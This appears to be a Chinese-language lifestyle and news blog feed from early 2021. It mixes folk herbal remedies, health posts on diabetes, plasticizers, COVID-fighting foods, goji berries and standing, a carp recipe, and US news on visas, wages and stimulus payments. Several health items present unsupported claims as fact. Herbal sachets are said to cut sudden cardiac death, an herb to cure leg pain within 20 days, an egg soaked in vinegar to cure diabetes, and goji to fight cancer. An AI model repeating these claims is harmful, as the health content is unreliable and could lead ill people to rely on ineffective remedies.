灵芝15克,黄芪15克。女贞子15克(先泡)煎煮待茶饮。


灵芝 

92.腱鞘炎:

把七厘散用好米醋和成稠糊涂在疼痛处,外用塑料薄膜包住一天一换。直至不痛。不痛后再涂几天,巩固一下。

93.中老年人腰腿痛:

用生山萸肉50~100克煎熬,早晚分服。此方效果神奇,没什么毒副作用,对老年人两腿无力效果更好。一般5天见效,10天一个疗程,20天可治好。 ”

94.防暑消暑:

夏季,天气炎热,人就容易昏昏沉沉的,还容易中暑。冰片1克、薄荷5克、皂刺5克、打成细粉之后当成鼻烟使用,可以清凉开窍,是人头脑清醒。

95.养生香囊:

有的人不喜欢在身上佩戴饰品,这样的人可以制作中药香囊随身携带,根据不同配伍也能起到保健的作用。

公丁香10克、草红花20克、豆蔻10克,装入香囊挂在胸前。这是一种比较辛窜的香囊,适合有心梗危险的人使用,长期佩戴可以有效减少心源性猝死的危险。

金毛狗脊10克、生艾叶20克、川椒(花椒)20克、怀牛膝10克,装入香囊挂于腰间。这是一种味道沉稳的香囊,用于肾虚耳鸣、腰膝酸软。

96.阴虚型冠心病:

对阴虚型冠心病人有辅助治疗和预防的作用滋阴的小方子,女贞子10克,枸杞子10克,丹参10克煮水15分钟,代茶饮。 (腹泻病人,舌苔厚腻者不能喝)

97.增强五脏抗毒、解毒能力:

增强五脏抗毒、解毒能力的小方子-扶正排毒饮。扶正排毒饮的配方:枸杞子10克、甘草2克、陈皮3克、决明子6克、菊花3克、淡竹叶2克、红花2克。

98.排毒解毒:

专家认为驱毒分为四步:避毒→抗毒→解毒→排毒。避毒是指尽量避其毒气。然后重要的是要增强身体抗毒的能力。增强抗毒的方法一是气血充足;二是理气活血。

要想做到这两点,推荐了一个很好的食疗方-枸杞杂粮粥。枸杞杂粮粥的配方:枸杞子20克、赤小豆30克、黑豆20克、黄豆20克、麦子米30克、糙米30克、小米30克、高粱米20克、薏仁米30克。

99.治颈椎疼:

威灵仙5-10克,葛根10-30克治颈椎疼,喝了药很快就舒服了,手麻也有效。

100.气虚:

气虚表现,乏力,不喜运动,气短,动则汗出,四肢乏力,头晕自汗,舌淡胖。如果您对照这些表现感觉有些气虚,那您可以用灵芝益气汤:灵芝15克,黄芪15克。煎煮待茶饮。借黄芪补气之力,以补五脏之气。气够用了,就有劲了,气足了,就能够防御外泄了,不容易感冒了。

2021-01-05 / by / in , ,
只需1个鸡蛋,就轻松降血糖!糖尿病治好 试试看!(视频)

糖尿病/鸡蛋/降血糖/食物降血糖

今天这里和大家分享降血糖的一个非常好的方法,即简单又有效,给糖尿病患者带来最强福音。

现代人随着生活水平的提高,一些城市富贵病也不断出现,其中糖尿病是近年来最常见的一种疾病。降血糖的方法也很多。比如说:胰岛素、药物、食物、运动等等。胰岛素和药物降血糖是非常明显的,不过会有一些副作用,最好的方法就是采用食物降血糖。

材料:

你所需要的是一个煮鸡蛋、一瓶米醋和水。醋是我们几乎每天都会用到的调料,鸡蛋也是我们餐桌上的“常客”。分开来说,它们都是对人体非常有好处的食材。

原理:

醋可以帮助高血糖患者控制血糖,保持血糖的平稳。经常吃醋可以减缓血糖的上升速度,特别是对糖尿病患者降低餐后血糖有较好效果。鸡蛋,不仅是补充优质蛋白质的最好来源,而且其富含的蛋白质还可以起到稳定血糖的作用。两者混合,又会变成降血糖神器!


鸡蛋

做法:

取一颗水煮鸡蛋,用叉子叉几下。然后把鸡蛋放在一个大碗中,倒入少量醋放过夜(醋一定不要太多)。第二天早上兑两到三倍的温开水吃掉鸡蛋和汤。每天早上吃,有利于帮助降低血糖。

注意:

1. 普通鸡蛋的蛋壳上可能含有重金属或污染了沙门氏菌,所以鸡蛋一定要提前煮过,或者是尽量选择天然有机鸡蛋。

2. 糖尿病患者在饮食上,要注意控制摄入食物的热量,蛋白质、脂肪、糖含量高的食物要少吃,应多吃蔬菜,热量高的水果也不能多吃。严重的糖尿病患者,还要注射胰岛素。鸡蛋中含有丰富的蛋白质,如果吃了醋泡蛋就要注意在日常饮食中减少蛋白质的摄入。

3. 虽然这个小偏方对降血糖有一定的帮助,但毕竟不是药,没有那么立竿见影的效果,因此,要注意一是靠坚持,二是不能完全用其来代替正规治疗和正常膳食。

4. 对于患有胃溃疡或者是胃酸过多的患者,最好少吃醋,因为醋本身就有丰富的有机酸,能促使消化器官分泌大量消化液,从而加大胃酸的消化作用,导致胃病加重。

2021-01-04 / by / in
注意!用它包装吃的带毒,能致癌、致畸!

塑化剂/塑料袋/增塑剂/安全塑料袋/废塑料

我们买东西的包装用品塑料袋在生活中是不可缺少的,上街买菜、吃个包子或吃个零食、早餐都用它装着吃,很多人可能知道塑料的成分除了主要的树脂外,还需要加入其他物质,比如增塑剂。

▲塑料袋打包在日常生活中随处可见:包卷饼、套在碗上方便不洗碗、提蔬菜、包油条等早餐。

2016年,武汉的一名记者将从菜市场、蛋糕房、包子铺、单位食堂、路边摊点以及塑料袋批发市场,收集到的50多个样品送到集中送到武汉质检所。

按照国家标准,对塑料袋采取分类管理,食品类塑料袋不得检出增塑剂、氯乙烯单体,重金属铅含量每千克不应超过1毫克。

但实际检测中,30个样品中有11个样品检出增塑剂,其中有6个样品检出两种增塑剂,5个样品检出1种增塑剂。

▲专家谈论到染色塑料袋说到:一般来说还是有毒害的。

增塑剂有什么危害?

专家解释:增塑剂会从塑料袋表面析出,人体通过接触袋中食材将其摄入体内,会对人体健康造成严重的危害,如可导致心血管疾病、癌症等,最恐怖的是有可能造成男童的生殖系统畸形!所以,一定告诉身边的人!

以后千万不要这样吃包子油条

这种塑料袋不少是用回收的废旧塑料制品重新加工而成,不能直接装食品。

熟食,用低劣的塑料包装以后,常常容易变质,吃了后,会引起呕吐腹泻等食物中毒症状。

千万不要这样打包饭菜

塑化剂跟塑料的结合并不牢固,很容易在塑料里面迁移层,对食品造成污染。这种迁移有两个前提条件,一个是在油性的环境,就是包装的这个食物里面含有比较高的油性,另一个就是加热,加热以后它会迁移到食物里面去。

所以,用塑料袋来包装各种汤啊水啊,会存在塑化剂迁移析出的现象。

如何选用安全塑料袋?

1、首先要看塑料袋的外观是否有“食品用”的标志。通常这个标志应该在包装袋正面,比较醒目的位置。

2、其次是看颜色,一般而言,有颜色的塑料袋大都使用了废旧塑料的回收料,是不能用来装食品的。比如,一些菜市场用来装鱼、虾等水产品或肉类的黑色塑料袋,原本是用来装垃圾的,消费者应避免使用。

3、要看塑料袋有无杂质。将塑料袋放在阳光或灯光下,看是否有黑点,有没有口子。有杂质的塑料袋,肯定是使用了废塑料做原料。

4、闻一闻塑料袋有无异味,是否让人觉得恶心。合格的塑料袋应该是无异味的,而不合格的塑料袋由于使用了添加剂,会带有各种味道。

5、合格的塑料袋具有一定强度,不会一撕就破;而不合格的塑料袋由于添加了杂质,往往强度很差,容易破裂。

6、燃烧:将塑料袋剪下一角,放在火上一烧,无毒的烧之即燃,将它离开火后仍继续燃烧,并出现黄色火焰,而且熔塑像蜡烛一样一滴一滴往下掉,发出石蜡气味。有毒的,不易燃烧,燃烧后呈绿色火苗,并有一股呛鼻的异味。

提醒! ! !

目前塑料袋批发市场、集贸市场、水果摊、包子店等场所使用的塑料袋大部分都没有标识,颜色各异,食品用和非食品用都不清楚,存在混用。所以,最好能不用塑料袋就不用!

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2021-01-04 / by / in
3种抗冠状病毒食品 真能妙手回春

新冠病毒/中共病毒/绿茶/葡萄/黑巧克力/酸奶/食品防腐剂/乳链菌肽抵/挡新冠病毒

新冠病毒(中共病毒)爆发一年多了,疫苗虽然有了,但是对于接种是否有效说法还很多。

但是在食品上有哪些新的进展?食品专家找到了一些对抑制或抵挡新冠病毒(中共病毒)有作用的食物,发表在论文中,我们来了解一下。


绿茶

绿茶,葡萄,黑巧克力

研究单位:北卡罗来纳州立大学

黄烷醇存在与许多食物中,包括:绿茶,麝香葡萄,黑巧克力,蓝莓和葡萄酒。这些食物,可以改善60岁以上人的双腿血液循环和改善智力敏捷性。

美国的一些研究人员希望了解一个名为flavan-3-ols的亚组是否可以增强人的免疫系统来帮助抵抗冠状病毒,并将重点放在上述Mpro酶上。

论文的作者谢德宇教授说:“ SARS-CoV-2病毒中的Mpro是病毒自我复制所必需的。”如果我们能够抑制或灭活这种蛋白酶,那么病毒就会死亡。

这项今年12月发表在《植物科学前沿》杂志上的研究发现,黄烷-3-醇能与Mpro结合,阻止其发挥功能,并因此阻碍病毒其复制和传播。

论文的作者说:“经过测试,绿茶有五种化学物,可以在不同位置上把Mpro“扎紧在口袋中”,彻底抑制它的作用。”

“葡萄的皮和种子中含有这些抑制化学物质。”


葡萄

研究中写道,“鉴于目前没有针对Covid-19的有效药物,这些数据表明,这些保健食品,绿茶,葡萄和巧克力的可以阻止ARS-Cov-2对人体的损伤作用。”

酸奶

研究单位:埃及亚历山大大学和沙特阿拉伯利雅得努拉·本·阿卜杜勒拉曼公主大学

开菲尔是一种由发酵的牛奶和谷物制成的类似酸奶的液体,是蛋白质和钙的良好来源,目前我国的奶制品公司也开始生产。

它不仅对肠易激引起的腹泻有很好的调理作用,还在改善血压和胆固醇水平上有一定的作用。

研究人员在《生物医学与药物疗法》杂志上即将发表了一项研究,该论文预定发表在2021年1月的一期上,指出开菲尔具有多种抗病毒特性,可以抵抗冠状病毒感染。

研究人员写道,开菲尔具有抗病毒,抗微生物和抗发炎的作用。


酸奶

学者们对开菲尔的研究进行了回顾,并分析了它的益生菌特性,回顾了它对登革热,徕卡病毒和肝炎丙肝等感染的抗病毒作用,以及它如何与冠状病毒相互作用。

Covid-19的最危险情况之一是,有些老年人,慢性病或患有其它严重疾病的人,他们免疫系统不能发挥正常作用,而且还过度产生称为细胞因子的分子。导致一种称为“细胞因子风暴”的现象,这种现象会导致严重的炎症,如果不加以控制,就可能致命。

在这项研究中,研究人员说“开菲尔可以起抗炎剂的作用……因此,开菲尔可能是导致COVID-19的“细胞因子风暴”的重要抑制剂。

它是通过抑制已知的细胞因子(称为IL-6,IL-1,TNF-α和干扰素-γ)的产生来实现的,这些细胞因子被认为是造成过度炎症反应的原因。

研究人员写道,保护患者免受细胞因子风暴侵袭的一种初步解决方案是,阻断IL-6的功能或施用一种化合物来抑制炎症。

开菲尔可以抑制促炎细胞因子的活性。对COVID-19患者,采用开菲尔(或者类似的酸奶)来抑制炎症细胞因子表达是一个切实可行的办法。

“根据对开菲尔及其益生菌的所有研究,开菲尔可以对人体抵抗病毒感染起到一定作用。”

总结:根据其长期以来作为益生菌效果来看,开菲尔似乎是有益的。我们知道益生菌影响人体微生物菌群,调节免疫反应,减少炎症反应。

罐头食品防腐剂

研究所:印度维斯瓦-巴拉蒂大学


罐头食品

乳链菌肽是由细菌制成的天然食品防腐剂,存在于许多罐头食品中。它也以“ E编号” E234命名,是碳原子的长链肽,含有34个不同的氨基酸。

它首先在发酵的牛奶中发现,现在已在全球范围内用作各种产品中的天然和安全食品防腐剂,例如加工奶酪,乳制甜点,牛奶,发酵饮料,肉和罐头食品。

印度学者研究了乳链菌肽是否作为抗冠状病毒的抗病毒药,研究已经通过了同行评审。 《病毒学》杂志将在了2021年1月期上发表。这项研究,首次表明该肽可以阻断ACE2受体,阻止它与SARS-CoV-2结合并感染细胞。

研究了八种乳链菌肽的变体,其中四种(乳链菌肽H,Z,U和A)对ACE2受体的亲和力,比SARS-CoV-2刺突蛋白对ACE2的亲和力要强。

作者发现,乳链菌肽H与病毒共同竞争与hACE2受体的结合,而乳链菌肽H与hACE2更容易结合,因此阻止了COVID结合并进入正常细胞。 ”

科学家在研究中写道:“这项研究首次揭示了全球使用的食品防腐剂乳链菌肽具有与ACE2结合的潜力。”

使用计算机模型评估肽与ACE2的结合,这一过程与前面发现金枪鱼衍生蛋白E-M可以抑制冠状病毒复制的过程相似。

乳酸链球菌肽是一种低分子量肽,很容易被生物利用,它与hACE2的结合有望打破SARS-CoV-2刺突蛋白与ACE2结合的可能性,并从本质上排除病毒进入宿主细胞的可能性。

目前,口服或鼻腔给药在研究人员中产生更大的兴趣,以开发基于乳链菌肽的新COVID-19治疗策略。

尽管这些食物可能会给我们抵抗新冠带来一些益处,但是人体的健康还要靠多种食物来支持,所以均衡饮食非常重要。

虽然我们知道有些食物在抑制炎症反应,阻止某病毒侵入人体中可能发挥一定作用,但是没有单一食物可以让你免受病毒的侵入,或者彻底地阻止炎症的发生。

这些研究都在一定程度上证明它们所说的效果,有的是计算机模拟,有的是实验室里的试验,但这些都是间接证明方法。

2021-01-03 / by / in , ,
入睡前吃几粒枸杞,身体会有五大变化!不知道的人一定要看

枸杞/枸杞的养生功效/吃枸杞有哪些禁忌/枸杞抑癌防癌/枸杞延缓衰老

枸杞是人们日常生活中常见的滋补品,也是很多许人常用的养生方式之一,那么枸杞真的对我们身体健康有保健作用吗?我们大家来看一看。

枸杞有降低血糖、抗脂肪肝作用,并能抗动脉粥样硬化。另外,枸杞是生精补髓、滋阴补肾、益气安神、强身健体、延缓衰老之良药,对慢性肝炎、中心性视网膜炎、视神经萎缩等疗效显著;对抗肿瘤、保肝、降压,以及老年人器官衰退的老化疾病都有很强的改善作用。

枸杞有一种简便的吃法,就是“嚼食”,嚼食的好处是对枸杞中营养成分的吸收会更加充分。每天睡前吃几粒枸杞,长期坚持,身体会发生5大变化!不知道的话就可惜了。

枸杞的养生功效

1、延缓衰老

很多人都知道枸杞对于人体有非常好的滋补作用和延衰抗老的功效,所以有些地区还叫枸杞为老子。枸杞中的维生素C含量比橙子还高,胡萝卜素含量比胡萝卜还高,铁含量比牛排还高,这些物质对于人体的抗衰老都有非常大的积极作用。

2、美白养颜

对于女性而言,常吃枸杞还可以起到美白养颜的功效。很多养生专家都会建议女性可以在午餐过后的下午茶选择用枸杞泡制饮用,枸杞具有不俗的养气补血的作用,对于女性而言,绝对比大多数的面膜都要管用,不妨一试。


对于女性而言,常吃枸杞还可以起到美白养颜的功效。

3、养肝明目

枸杞养肝明目的作用也广为人知。大家都知道人喝酒过多是伤肝的,而一些肝脏的疾病却可以用定量的枸杞泡制的药酒来治疗。另外,需要长时间看电脑或者手机等辐射亮度都很刺激眼睛的人,坚持每天食用一定量的枸杞,可以很好的保护视力。

4、补虚生精

对于现代男性来说,工作生活的压力都很大,就很容易对身体造成明显的伤害,而这些对于人肾脏的伤害是最大的,用枸杞煲汤或者泡酒喝都可以帮助人体的肾脏工作。

5、抑癌防癌

最新的科学研究表明,枸杞对于体外癌细胞有明显的抑制作用,可用于防止癌细胞的扩散和增强人体的免疫功能。

总而言之,枸杞的作用非常广泛,且其药效很好掌控,少量食用具有保健作用。对于广大压力很大的现代人来说,枸杞可以在一定程度上改变他们的生活,对于人们的身体健康也有很大的意义。

吃枸杞有哪些禁忌?

1、适宜人群

最适合吃枸杞的是体质虚弱、抵抗力差的人,但一定要每天吃一点,长期坚持食用,才能见效。

2、不适人群

由于它温热身体的效果相当强,正在感冒发烧、身体有炎症、腹泻的人最好不要吃。

另外,患有高血压、性情太过急躁的人,或平日大量摄取肉类导致面泛红光的人也最好不要食用。

2021-01-03 / by / in
暂停绿卡和外劳工签申请 川普延长三个月

美国总统川普周四(12月31日)延续了一项移民禁令,以阻止许多绿卡申请人和临时外劳进入美国。总统表示,在疫情重重的经济环境中,需要采取措施保护美国工人。

这项移民禁令于4月和6月发布,原定于12月31日到期,川普政府将禁令延长至2021年3月31日。

因为中共病毒(冠状病毒)大流行导致部分企业停工,以及冲击经济,川普总统在2020年4月签发停止核发绿卡的行政命令,旨在保护在疫情期间失业的美国劳工,并节省美国的医疗资源。

2020年6月22日,川普宣布暂停某些外国劳工签证。新签证限制将阻止熟练工人通过H-1B签证计划进入美国,并且还将影响其它几类签证,包括L签证、H-2B签证、J签证,但医疗保健专业人员和农场工人等除外。总统的公告还阻止持上述签证的人士家庭成员陪同进入美国。

硅谷和其它美国公司反对基于工作的签证禁令,他们说,依靠签证将技术雇员带入科技、咨询、度假村园林绿化和季节性工作等行业。

2020年10月,代表这些行业的美国商会赢得法院针对禁令的部分解禁,从而允许其成员公司恢复招募外国雇员。禁令的延长将如何影响法院的命令,这一点尚不清楚。

2020年12月,加州奥克兰市一名联邦法官下令,绿卡禁令对提诉的181名美国公民和合法居民的家庭成员无效。

美联社报导,在周四(12月31日)发布的裁决中,第九巡回上诉法院小组以2-1投票结果,为川普要求移民拥有健康保险扫清道路。新移民必须证明他们可以在30天内获得保险并支付医疗费用。

2021-01-02 / by / in
纽约州全面调涨最低时薪

纽约州劳工厅提醒,从2020年12月31日到2021年12月30日,纽约州(除纽约市外)最低基本时薪全面调涨。每周的标准工作时间为40小时,若员工工作时长超过此标准,则雇主应按正常工资的1.5倍进行支付。

长岛和威彻斯特郡的最低时薪从13美元提高到14美元,除此之外,纽约州其它地区(不含纽约市)的最低时薪从11.80美元上涨至12.50美元。纽约市的最低时薪仍为15美元。

从2020年12月31日起,快餐店工人的最低小时工资为: 纽约市15(自2018年底以来),纽约州其他地区为14.50美元(高于13.75美元),纽约市以外快餐工人的最低时薪定于2021年7月1日提高到15美元。

从2020年12月31日起,纽约小费工人的最低时薪为: 服务人员12.50美元;纽约市的餐饮服务工作者10美元。服务人员11.65美元;威彻斯特郡和长岛的食品服务工人9.35美元。服务人员10.40美元;纽约州其他地区的食品服务工人为8.35美元。

如果小费低于每周门槛(因州而异,因行业而异),则雇主必须向工人支付一般最低工资。更多信息请访问美国劳工部网站。

还应注意的是:从2020年12月31日起,美甲沙龙,洗车,门卫和其他被纽约州归类为「其他」的行业工人的小费被取消。现在要求这些工人领取一般最低工资。

据州府的最低工资调涨计画,最低工资率从每年的12月31日开始增加,直到达到每小时15美元。雇主必须在营业场所内的明显位置张贴最低工资海报。

如需了解州劳工厅为各行业制定的最低工资、小费、加班费细则,可登录https://www.ny.gov/new-york-states-minimum-wage/new-york-states-minimum- wage查看。

2021-01-02 / by / in
新年礼物 收到600元纾困金

新年第一天,许多华人上网查自己的银行帐号,惊喜地发现自己收到了一份新年大礼——符合资格者每个人可领的600元的联邦第二轮纾困金入帐了!

纽约华人柳先生元旦早上9点上网查看自己的银行帐户,发现收到了联邦第二轮发放的600元纾困金,他高兴地告诉社交平台的朋友群——他收到了联邦政府发的新年礼物。

柳先生说,他前一天(12月31日)上网查过银行帐户,还没有显示联邦政府发的600元到帐,但1月1日早上就显示到帐了,「这是政府给大家的新年礼物,可能是专门挑新年第一天给大家新年的惊喜,跟所有人打招呼:Happy New Year」。

从事电气工程的柳先生有一技之长,家庭属小康之家。他说,2020美国受中共病毒疫情重创,很多家庭失业,收入大减,有的家庭失去亲人,陷于悲痛中,新年第一天收到第二轮纾困金,无疑对大家的心灵是一个抚慰,虽然没有达到川普所要求的2000元,但也体现出政府对劳工大众的体恤。

柳先生在朋友群发出自己领到600元的消息后,群里不少人也纷纷回应,表示自己也已收到了600元。有的说:「收到了,真是太棒了!」有的说:「新年快乐!我们的也收到了。」

在川普总统12月27日签署了9000亿美元的刺激法案后,给每个家庭的第二轮纾困金从周二(29日)晚就开始发放。
提交了2019年纳税申报表的合格纳税人,个人总收入不超过7.5万元的,将获得全额600元纾困金(是第一轮纾困金1200元的一半);已婚夫妇报税总收入不超过15万元的,将获得全额1200元纾困金;每个17岁以下的儿童将获得全额600元的纾困金。

对于收入超过上述门槛的申请人(单身申报者超7.5万元,共同申报者超15万元、户主申报者超11万2500元),每超过上述金额100元,支付金额就减少5元。

收入超过8.7万元的单身申报者,以及收入超过17.4万元且没有子女的联合申报者,则没有领取资格;17到24岁仍由父母申报为抚养人口的话,也没有领取资格。

绝大多数人不需要采取任何行动,国税局将在总统签署法案后的几周时间内,自动将纾困金入帐到符合资格者的帐户中。

纾困金收入不影响目前正享受的福利,例如白卡(Medicaid)、社会安全生活补助金(SSI)、粮食券(SNAP)、第八章房屋租金援助(Section 8)的资格。

第二轮纾困金发放对第一轮发放的一些限制进行了调整,例如,第二轮纾困金的发放对象包括「混合身分」的家庭——即使家中有无证移民,但其配偶和子女只要有社会安全号,便有资格。

民众可以登录国税局官方网站,前往IRS.gov/GetMyPayment页面,查看纾困款项的发送状况,整个款项发送过程预计需要2个月。

2021-01-02 / by / in ,
78.7萬美國人首次申請失業救濟金

美國上週首次申領失業救濟金的人數再度下降。

根據勞工部週四公布的報告,考慮到季節性調整因素,聖誕節當週有78.7萬美國人首次申請失業救濟。雖然申請人數較前一週下降,但總的來說,失業人數仍遠高於疫情前水平,這表明疫情對就業市場的沉重影響仍在繼續。

除了常規的失業申請外,還有超過30萬名工人(308,262)在申請大流行失業援助計劃(Pandemic Unemployment Assistance,簡稱PUA),該計劃專為沒有資格獲得常規國家援助的人提供福利,如:自營職業者和臨時工。

綜合所有失業福利項目,第一次申請的人數總計有110萬美國人,該數據未按季節性波動調整。

川普(特朗普)總統週日簽署的紓困法案將延長PUA的支付時間。該法案還擴大了常規國家福利,將每週的失業金增加300美元。

與此同時,截至12月19日當週,有520萬名工人提交了繼續申請。

2021-01-02 / by / in
红烧鲤鱼带好运 祝大家新年快乐 年年有余!(视频)

红烧鲤鱼/鲤鱼/香菇/冬笋

新年名厨教你一道红烧鲤鱼,祝各位朋友新年快乐 年年有余。

红烧鲤鱼是一道以鲤鱼为制作主料,以花生油、湿淀粉、酱油等作为辅料制作而成的家常菜,红烧鲤鱼的烹饪技巧以红烧为主,口味属于咸鲜,呈黄色,鱼嫩蘑香,汁浓味美。

食材:

鲤鱼一条,香菇,冬笋,五花肉

调味:

葱,姜,黄酒,胡椒粉,盐,酱油,醋,老抽,胡椒

做法:

1.准备工作:清除内脏、鱼鳃,洗净血末并用刀在鱼腹部斜切几刀以便入味;香菇用温水泡,把多余的根、杂质去掉洗净;冬笋去掉两头,切片;五花肉切片。

2.调味:鱼中加盐,用手擦匀,加葱、姜、黄酒、胡椒粉腌制。

3.炸制:热锅凉油,鱼洗去腌料,吸干水分,放入锅中炸制,变色后捞出备用。

4. 成菜:锅中放底油,煸炒五花肉,加葱、姜、香菇、冬笋、黄酒、酱油、醋,加水、胡椒、盐、老抽,将鱼放入,加一点糖,大火烧制。鱼装盘,把剩下的鱼汤中的肉挑出,加糖、醋、香油,调好汁后淋到鱼上即可。

2021-01-02 / by / in ,
坚持每天这样做, 胜过走6000步! 从医50年的教授自用长寿秘方

长寿秘方/站立/站立 好处/站立防病/站5分钟

世界卫生组织(WHO)早已指出:久坐列为十大致死致病元凶之一,据全球统计每年有近200多万人因久坐死亡,专家洪昭光教授表示:“久坐已经成了危害健康的一个全球性问题。”

一说起健康,大家就会想到该吃点什么,今天推荐的不是补药,也不是食疗方,而是一个习惯,这个长寿妙方不用大家花一分钱,但收获的益处却是无穷大的。

国医大师王烈从医50多年,累计诊治患儿60万人次,因为每天都要看上百个患者,一坐就是五六个小时,时间一长,目眩、胸闷、腰腹劳伤接踵而至。

作为医生,王烈教授马上调整策略,从1990年开始,王烈改坐诊为立诊,至今已坚持27年。


站立的五大好处

勤于站立能防五病

每次,来看病的孩子或躺或坐在床上,王烈便站在一旁看诊,一站就是几个小时。当然了,站立诊病,并非一动不动,诊疗过程中,腰腿是不断活动的。

把坐诊改成立诊一段时间后,王烈教授之前那一系列健康问题神奇地没了!多年下来,王烈教授总结出站诊的好处:

一防颈椎病,这个病是医生的职业病,低头久了颈椎少动,颈椎病就会找上门来。

二防冠心病,心者主血脉藏神,动静结合利于心,而久坐则气血不畅,易发冠心病。

三防前列腺病,久坐气血失和,对老年人可谓雪上加霜。

四防肛病,凡久坐之人, 肛肠气血不畅,成瘀致病。

五防癌症,癌症见于人体各部,病由毒结气血引起,久坐气血伤,对癌症发生必将起到推波助澜作用。


站3小时胜跑马拉松

每天站3小时胜跑马拉松

不仅是国医大师王烈,全世界专家都在苦口婆心地劝说大家多站少坐。

目前的现状是这样的,椅子和沙发俨然成了现代人最亲密的伙伴。人们每天醒来后,有60%以上的时间坐着度过,平均超过9小时,且其中一半时间是持续坐着。这个习惯可能引发一系列健康问题,包括肩颈腰背疼痛、肥胖、癌症和2型糖尿病等。

世界卫生组织(WHO)早已将久坐列为十大致死致病元凶之一。据统计,全球每年有200多万人因久坐死亡,预计到2020年,全球将有70%的疾病由久坐引起。卫计委首席健康教育专家洪昭光教授深表担忧地表示:“久坐已经成了危害健康的一个全球性问题。”

与之相反,如果每天站立的时间能达到两小时,可有效预防疾病,身体的很多小毛病也会逐渐消失。


站立预防疾病

站立预防疾病

1保护心血管

站立时,心率平均每分钟会加快10次,人体每分钟能多燃烧0.7千卡热量,1小时则是50千卡。同时,站立能改善姿势,缓解背部疼痛;可以加速血液循环,促进心血管健康;站立时人们会更愿意走动。

2预防骨质疏松

英国另一项研究证实,如果能长期坚持每周5天、每天累计3小时的站立,效果堪比跑了10趟马拉松。这是因为站立时,腿部所有肌肉都在工作,如果再配合走动或其他动作,肌肉活动量变大,消耗的热量就更多。如果晴天多出门散步,还对骨骼健康有好处,能预防和缓解骨质疏松。

3加强新陈代谢

站立能使心脏位置向上移动,让血液暂时难以回流到心脏,为了改善这个问题,体内会产生剧烈变化。

例如增加心跳数、收缩末梢血管等,从而刺激血液循环,改善水肿、代谢低下等问题。另外,站着还能让包围肺部的胸腔活动顺畅,让氧气充满体内,代谢机能变得更强大。


利用一切机会站起来

利用一切机会站起来

咱们中国有个成语:坐以待毙。健康同样也是如此,久坐就是“坐以待毙”。不是连续坐三四个小时才是久坐, 建议各位方粉每坐1小时站起来10分钟,站起来眺望远方、拉伸四肢、散步等舒缓运动均可,甚至起身倒一杯水喝都行。当然,如果能将每天坐立时间控制在3小时~5小时,那更是大有裨益,具体的操作都给大家列出来啦。

1.能站着就不坐

很多细节的改变,可以帮我们养成站立的习惯。比如,尽量多使用公共交通工具;站起来接电话,如果是移动电话还可以边走边接;用小容量的杯子喝水,增加站起来去接水的次数;下午如果感到困倦,可以用站立、走动代替咖啡;晚饭最好吃完立刻刷碗,以免窝在沙发里长出小肚腩;看电视也不要窝在沙发里,不妨站着看。站累了可以给花浇浇水,给鱼喂个食,做做家务,开窗眺望一会,都能让你远离沙发。

2.把握好午餐时间

如果是上班族,午餐是上班族站起来活动的最佳机会,一定要把握好。最好拒绝外卖,能出去吃就尽量出去吃,否则一整天都在办公桌前度过了。中老年朋友午餐后也不要马上午休,最好在屋里溜达10分钟,或站 一会儿再休息。

3.想方设法走“远一点”

下班回家不妨提前一站下车走回家,既锻炼身体,又能看看沿路景色,缓解整日的疲劳;开车外出办事,可以把车稍微停远一些,增加走路的机会。

4.站5分钟=走半小时的秘诀

笔直站立5分钟 ,等于散步30分钟,还能明显瘦身。美国有研究表明,瘦子平均每天站立的时间要比胖子多153分钟。把这换算成卡路里消耗量的话,约为350卡路里,相当于2碗米饭。

走路是一种最低强度的有氧锻炼,它有时间限制,必须在40分钟左右才有效果;而保持标准姿势仅需站5分钟,全身就有酸痛感,就能达到健身的目的。

做法:标准的站姿讲究一条线和两个核心,即后脑勺、背部、臀部、脚跟处于一条直线上,腰部和腹部是两处核心。人就像贴在墙壁上一样,同时全身肌肉绷紧,挺胸收腹,肩外展,腿部稍用力。

5.每天站桩一刻钟

站桩又叫蹲马步,是武术、太极、导引重要的基本功。人蹲下去,身体变成三折叠,被挤压的血管收缩,气血冲向全身未被挤压的血管,迫使它们扩张、鼓起来;人一站起来,全身气血又冲向原来被挤压的血管,为它们灌满血液。在运动过程中,一蹲一起、一压一放、一冲一回的气血往复运动,使血管软化、加快血液循环和体内的新陈代谢、激活免疫系统,增加高密度胆固醇、灵敏了压力感受器、把一些有害、有毒的代谢产物清除体外,人体自然就健康了。

做法:两腿分开,与肩同宽,自然站立,双手抬平放于体前;身体慢慢匀速屈膝下蹲;膝关节屈曲至130°~150°即可。站桩要循序渐进,每次运动 5~15 分钟,一般每日 1 次或分 2~3 次进行。 。

在做马步的时候,膝盖一定不要超过脚尖,中老年朋友做下蹲运动时,手应把握住床头、其他扶手或者门框,缓慢而平稳地做,下蹲速度不宜快。

注意:站立好那我就时刻站着行不行?养生讲究度,并非站得越久越好,而且长时间站在原地不动也损害健康,站立的同时要多走动。

2021-01-02 / by / in
枸杞十四大功效,七种吃法四个禁忌,太实用了一定收藏

枸杞/枸杞有十四大功效/枸杞有七种吃法/枸杞有四个禁忌

枸杞具有很好的滋补和治疗作用,枸杞的吃法也有很多,那怎么吃才最有营养,而且具体有什么功效呢?

枸杞的十四大功效

1 、提高机体免疫功能

增强机体功能,促进健康恢复,还能提高机体的抗病能力,抵抗御病邪的侵害。增强机体对各种有害刺激的适应能力。


枸杞

2,具有抗癌作用

枸杞子对蛋白质的生成和扩散有明显的抑制作用,当代实验和临床应用的结果表明,枸杞叶代茶常饮,能显着提高和改善老人,体弱多病者和肿瘤病人的免疫功能和生理功能对癌症患者配合化疗,有预防毒副作用,防止白血球减少,调节免疫功能等疗效。,,具有强壮肌肌和延缓衰老的作用。

3,具有显着的明目作用

历代医家治疗肝血不足,肾阴亏虚引起的视物昏花和夜盲症,经常使用枸杞子。

4,抗疲劳

枸杞子能显着增加肌糖原,肝糖原的贮备量,提高人体活力,有抗疲劳的作用。

5,增强记忆力

枸杞子具有改善大脑的功能,增强人的学习记忆能力。

6,提高肌体适应性

枸杞子能提高人体的适应性防御功能,使人遇到伤害性刺激时,如遇到缺氧,寒冷,失血等的忍耐承受能力。

7,增强人体造血功能

枸杞子有明显促进造血细胞增殖的作用,可以使白细胞数增多,增强人体的造血功能。

8,枸杞子有抗Y射线辐射,保护机体的作用

可作为辅助药物来配合放疗等抗肿瘤治疗,减轻放疗的毒副作用,提高疗效,保护机体的免疫功能。

9,调节血脂

枸杞子能有效降低患高脂血症的大鼠血清中甘油三酯和血浆的含量,具有明显的降血脂,调节脂类代谢功能,对预防心血管疾病具有积极作用。

10,降血糖

